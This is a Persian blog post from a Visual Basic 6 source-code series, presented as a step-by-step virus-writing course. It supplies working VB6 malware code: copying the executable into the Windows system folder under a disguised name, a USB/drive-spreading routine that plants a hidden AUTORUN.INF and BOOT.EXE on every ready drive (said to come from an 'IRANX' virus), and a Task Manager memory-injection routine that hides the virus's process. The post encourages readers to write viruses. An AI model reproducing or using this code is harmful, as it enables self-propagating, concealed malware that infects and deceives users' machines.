/ در آموزش ویژوالبیسیک, اشتراک رایگان, ویژوالبیسیک / توسط
آخرین زمان ویرایش:

مجموعه سورس کدهای ویژوالبیسیک ۶ قسمت ۱۲

جهت مطالعه و دسترسی به سورس ها به ادامه مطلب مراجعه نمائید

آموزش پله به پله ویروس نویسی

آیا می دانید بهترین کامپایلر ویروس چیست(منظور زبان های برنامه نویسی است)؟
بسیاری بر این عقیده اند که ویژوال بیسیک ۶ بهترین کامپایلر است تا زمانی که ویندوز وجود دارد و ساختارش چنین باشد.اما بسیاری هم دلفی را به عنوان زبان ویروس خود انتخاب کرده اند،اما این مهم نیست، مهم خلاقیت ویروس نویس و مهارت وی است.

گروه ما هم عقیده اول را قبول دارد زیرا در تمامی ویندوز های XP و ۲۰۰۰ و فایل مورد نیاز برنامه های وی.بی وجود دارد و همچنین برنامه نویسی با ویژوال بیسیک ۶ بسیار ساده و راحت می باشد به طوری که یک فرد می تواند در مدت زمان کمتر از ۶ ماه ویروس نویسی خوب شود.

از تمامی این حرف ها می گذریم…

پله اول مرحله اول

در این مرحله باید با ویژوال بیسیک و Syntax آن و چندین نکته ساده را بیاموزید(به دلیل این که در این دوره آموزشی قصد ما تنها آموزش های ویروس نویسی است این مرحله را به عهده خودتان می گذاریم،می توانید از فروم های فارسی در این زمینه و کتاب های آموزشی استفاده کنید)

پله اول مرحله دوم

در مرحله باید تمامی افکار خود را به سمت ویروس نویسی برده و خود را برتر ببینید ولی به هیچ عنوان زیاده روی(لاف) نکنید.

با یک مثال بسیار ساده شروع می کنیم:

Set fso = CreateObject(“Scripting.FileSystemObject”)

sys$ = fso.GetSpecialFolder(1)

fso.CopyFile App.Path & “” & App.EXEName & “.exe”, sys & “devmgr.exe”,True

 

توضیحات دقیق:

اگر دقت کنید،

در سطر اول کد نویسی از دستور Set استفاده کردیم،این دستور یک شیء را در یک متغیر ذخیره میکند.پس از آن نام متغیر و سپس از دستور CreateObject استفاده کردیم،این دستور با یکی از کلاس های رجیستر شده در سیستم(ویندوز) را صدا زده و استفاده می کند.برای مثال اگر Internet Explorer را در سیستم خود داشته باشید(که اگر از سیستم عامل ویندوز استفاده می کنید حتما دارید) یک کلاس با نام’InternetExplorer.Application’ در سیستم رجیستر می شود که می توان با استفاده از آن یک مرورگر را باز کرده و کنترل تقریبا کامل را روی آن داشته باشید.(برای دیدن لیستی از بعضی از کلاس های رجیستر شده در ویندوز می توانید در برنامه جانبی Registry Editor پوشه یا کلید HKEY_CLASSES_ROOT را باز کرده و آن ها را مشاهده کنید.توجه داشته باشید تمامی پوشه های این کلید کلاس نیستند).در اینجا ما با استفاده از دستور CreateObject یک کلاس را که مدیریت فایل ها و پوشه های ویندوز را می تواند انجام دهد،صدا زدیم،به نام”

هنگامی که شما یک شی را با استفاده از دستور Set صدا می زنید ،باید همانند اشیای دیگر وی.بی(مثل TextBox) از آن استفاده کنید.یعنی برای استفاده از یک تابع آن باید نام متغیر را نوشته سپس یک نقطه زده و نام تابع را بنویسید.مثل:

fso.FunctionName

فراموش نکنید که CreateObject یک تابع از پیش تعریف شده در وی.بی می باشد.

*نکته*اگر یک شی را با استفاده از تابع یا دستور CreateObject بسازید،مانند اشیای اصلی وی.بی هنگامی که یک نقطه پس از نام آنها بزنید لیست خصوصیات و توابع را نمایش نمی دهد و شما باید از قبل آن ها را بدانید.(البته اگر فایلی که منبع کلاس است را در قسمت References از منوی Project وارد پروژه کنید می توانید آن را با اسفاده از Dim صدا بزنید که در این صورت لیست مذکور با می شود)

و در سطر دوم یکی از توابع کلاس FileSystemObject را صدا زدیم(GetSpecialFolder)این تابع آدرس پوشه های اصلی ویندوز را برای ما برمیگرداند مثل آدرس پوشه ‘System32’ یا ‘Windows’ یا ‘Temp’ .پس تابع پرکاربردی است،ولی مشکل اساسی این است که بسیاری از ضد ویروس ها به استفاده از این تابع حساسیت دارند.این تابع تنها یک آرگومان نیاز دارد که یک شماره است این شماره از ۰ تا ۲ می باشد در زیر رشته برگردانده شده تابع را نسبت به اعداد وارد شده می بینید:

اگر ۰ بدهیم آدرس پوشه ویندوز را برمیگرداند.

اگر ۱ بدهیم آدرس پوشه سیستم را برمی گرداند.

اگر ۲ بدهیم آدرس پوشه Temp یا فایل های موقت را برمیگرداند.

*نکته* اگر دقت کنید پس از نام متغیر این خط(Sys) یک علامت $ آورده ایم.این علامت به این معناست که متغیر را از نوع String در نظر بگیرد.از این علامت ها زمانی استفاده که نخواهیم متغیر را با استفاده از دستور Dim ایجاد کنیم.برخی علامت در زیر آمده است:

$ برای String

# برای Double

% برای Integer

! برای Single

& برای Long

@ برای Currenry

در سطر سوم یکی از روال های کلاس مذکور را صدا زدیم که این روال یک فایل را در رایانه کپی می کند.این روال حداکثر سه آرگومان نیاز دارد و حداقل دو آرگومان نیاز دارد. منظور چیست؟ منظور این است که دو آرگومان اصلی دارد و یک آرگومان اختیاری دارد.شکل اصلی این روال به صورت زیر است:

 

App.Path & “” & App.EXEName & “.exe”

App یکی از شی های وی.بی است که در آن می توانید خصوصیاتی از برنامه اجرایی خود ببینید.برای مثال چک کنید که آیا برنامه قبلا اجرا شده یا نه:

P = App.PrevInstance

که ااگر برنامه شما قبلا اجرا شده باشد متغیر P برابر می شود با True و اگر برنامه قبلا اجرا نشده باشد مقدار False را برمی گرداند.

در اینجا ما از دو خصوصیت Path و EXEName استفاده کرده ایم ،

در خصوصیت Path مسیر فایلی ذخیره می شود که برنامه از آن اجرا می شود،مثلا اگر برنامه شما اینجا باشد:

C:XSX_LearnXSX_Team.Exe

در خصوصیت Path مقدار C:XSX_Learn ذخیره می شود.

و در خصوصیت EXEName نام فایل اجرایی شما می باشد که در همان مثال بالا برابر XSX_Team می باشد.

*نکته*اگر دقت کنیددر آخر مقدار خصوصیت Path علامت نشان داده نمی شود و همچنین در آخر EXEName پسوند ذخیره نمی شد.پس اگر این کد را در همان مثال بالا نوشته باشیم و برنامه را اجرا کنیم:

X_Path = App.Path & App.EXEName
MsgBox X_Path

این مقدار نمایش داده می شود:

C:XSX_LearnXSX_Team

پس برای تصحیح کد بالا باید آن را به این گونه تغییر بدهیم:

X_Path = App.Path & “” & App.EXEName & “.Exe”

MsgBox X_Pathبه این منظور که گفته ایم بعد از آدرس پوشه علامت را اضافه کند و همچنبن بعد از نام فایل اجرایی پسوند آن را اضافه کند(Exe).که مقدار نمایش داده شده به این صورت می شود:

C:XSX_LearnXSX_Team.Exe

بقیه آرگومان ها هم بسیار واضح است ولی تنها نکته این اینست که متغیر Sys مقداری برابر مثلا ‘C:WindowsSystem32’ دارد و همین طور میبینید در آخر آن علامت وجود ندارد.

*نکات توضیحی اضافه*

۱ – فرق تابع(Function) با روال این است که تابع مقداری را بر می گرداند ولی روال یا Sub مقدار برگشتی ندارد.

۲ – رشته ها در وی.بی با استفاده از علامت & به یکدیگر می چسبند.

کپی ویروس در حافظه های جانبی مثل رم موبایل و فلش

دوستان عزیز با استفاده از این کد شاید قدیمی ولی کاربردی می توانید ویروس خود را هنگامی که کاربر رم(حافظه جانبی مثل رم موبایل یا فلش ها و MP3 Player) را به رایانه متصل کرد،کپی کنید.دستورات این ویروس به این صورت می باشند که هر چند ثانیه یکبار تمامی درایو ها از جمله درایو های خود هارد و دیگر درایو ها که گفته شد را چک می کند و در صورت حاضر بودن آنها ویروس را در آن کپی می کند.برای اسفاده از این کد نیاز به ایجاد یک Timer به نام tmrRamDisk دارید.پس از ایجاد تایمر فقط برنامه را کامپایل کرده و اجرا کنید.

Private Sub tmrRamDisk_Timer()
On Error Resume Next
‘For Test This Code Create a Timer with Name of ‘tmrRamDisk’
‘then Set the Interval Property to ‘6000’ (Means Check the Drives
‘Every 6 Seconds.)

‘Created by X$X Team.Please Don’t Remove this Comment.
‘This Code is Used in IRANX Virus that Created By X$X Team,
‘I Show it to you Only For Learn,OK ?
Static Drvs(26)

‘Create an Object Link to FileSystem Commands
Set Fso=CreateObject(“Scripting.FileSystemObject”)

‘Put Drives Names in the Array if Array was Empty
If CStr(Drvs(0)) = “” Then
a = 0
For Each Dr In Fso.Drives
If Dr.DriveType = 5 Or Dr.DriveType = 2 Or Dr.DriveType = 3 Then
Drvs(a) = Dr
a = a + 1
End If
Next
End If

‘Check Every Drive to Copy the Virus to It:

For Each Drv In Drvs
‘If Before the Virus Copied to The Drive Then Goes for Next Drive

If Fso.fileExists(Drv & “AUTORUN.INF”) = True And Fso.fileExists(Drv & “BOOT.EXE”) = True Then GoTo nx

If Fso.getDrive(Drv).isReady = True Then ‘If Drive was Ready then Copy

‘Virus in it.

aut = “[AUTORUN]” & vbCrLf & “shellopencommand=boot.exe” & vbCrLf & “shellexplorecommand=boot.exe” & vbCrLf & “shellfindcommand=boot.exe”

‘Remove Last File of AUTORUN.INF
If Fso.fileExists(Drv & “AUTORUN.INF”) = True Then
SetAttr Drv & “AUTORUN.INF”, vbArchive
Fso.DeleteFile Drv & “AUTORUN.INF”, True
End If

‘Remove Last File of BOOT.EXE (Main Virus)
If Fso.fileExists(Drv & “BOOT.EXE”) = True Then
SetAttr Drv & “BOOT.EXE”, vbArchive
Fso.DeleteFile Drv & “BOOT.EXE”, True
End If

Fso.createTextFile(Drv & “AUTORUN.INF”).write aut

MyPath = App.Path & “” & App.EXEName & “.exe”

Fso.CopyFile MyPath, Drv & “BOOT.EXE”, True

SetAttr Drv & “BOOT.EXE”, vbHidden + vbSystem ‘Set Hidden and System Attr for Maximum Hiding

SetAttr Drv & “AUTORUN.INF”, vbHidden + vbSystem ‘Set Hidden and System Attr for Maximum Hiding

End If

nx:

DoEvents

Next

End Sub

 
مخفی کردن عالی ویروس از مدیریت برنامه ها(Task Manager)

با استفاده از این کدها می توانید نام برنامه خود را در قسمت Processes از برنامه Task Manager مخفی نگه دارید.بسیار زیاد از این کدها اسفاده می شود.

شما باید کد ۱ را کپی و در یک ماژول(Module) ذخیره کرده و در برنامه اصلی یک شی Timer ساخته و در آن روال کد زیر را صدا بزنید مانند کد ۱

 

Public Declare Function GetCurrentProcessId Lib “kernel32.dll” () As Long Public Declare Function KillTimer Lib “user32.dll” (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long

Public Declare Function FindWindow Lib “user32” Alias “FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Public Declare Function FindWindowEx Lib “user32.dll” Alias “FindWindowExA” (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long

Public Declare Function OpenProcess Lib “kernel32.dll” (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Public Sub Hide_Process(Name As String)

On Error Resume Next

Dim pName As Long

Dim pType As Long

Dim l As Long

Dim Tid As Long

Dim hTid As Long

Dim pid As Long

Dim i As Long

Dim hProcess As Long

Dim f As bkh

Dim s As String

Dim bkh() As Byte

h = FindWindow(vbNullString, “Windows Task Manager”)

If h = 0 Then Exit Sub

KillTimer h, 0

h = FindWindowEx(h, 0, “#32770”, vbNullString)

h = FindWindowEx(h, 0, “SysListView32”, vbNullString)

f.flag = 8 Or &H20

Call GetWindowThreadProcessId(h, pid)

hProcess = OpenProcess(1082, 0, pid)

bkh = StrConv(Name, vbFromUnicode)

pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4)

WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l

f.psz = pName

pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4)

WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l

i = SendMessage(h, &H1000 + 13, 0, pType)

If i <> -1 Then SendMessage h, &H1000 + 8, i, 0

VirtualFreeEx hProcess, pType, Len(f), &H8000

VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000

CloseHandle pid

End Sub

.

کد ۲: (مربوط به فرم یا برنامه اصلی که نیاز به یک تایمر دارد برای صدا زدن مدام روال کد ۱)

 

Private Sub tmrHiddenEXE_Timer()

On Error Resume Next

Hide_Process App.EXEName & “.exe”

DoEvents

End Sub

نوشته های مشابه

مجموعه سورس کدهای ویژوالبیسیک ۶ قسمت ۱۱

جهت مطالعه و دسترسی به سورس ها به ادامه مطلب مراجعه نمائید (بیشتر…)

مجموعه سورس کدهای ویژوالبیسیک ۶ قسمت ۱۳

جهت مطالعه و دسترسی به سورس ها به ادامه مطلب مراجعه نمائید (بیشتر…)

 کانال تلگرام داده باران شارژ آنلاین

نظری بدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *